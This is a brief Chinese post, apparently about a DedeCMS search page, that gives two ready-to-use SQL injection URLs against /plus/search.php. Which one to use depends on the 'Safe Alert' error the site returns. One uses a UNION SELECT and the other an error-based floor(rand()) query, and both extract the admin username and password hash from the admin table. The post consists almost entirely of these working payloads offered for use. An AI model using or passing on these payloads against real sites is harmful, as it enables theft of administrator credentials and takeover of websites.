作者:鬼哥

看结果如果提示
Safe Alert: Request Error step 2 !
那么直接用下面的exp

/plus/search.php?keyword=as&typeArr[111%3D@`'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`'`+]=a

看结果如果提示

QQ截图20130121095108

Safe Alert: Request Error step 1 !
那么直接用下面的exp

/plus/search.php?keyword=as&typeArr[111%3D@`'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`'`+]=a

20130121095349
如果正常显示证明漏洞不存在了。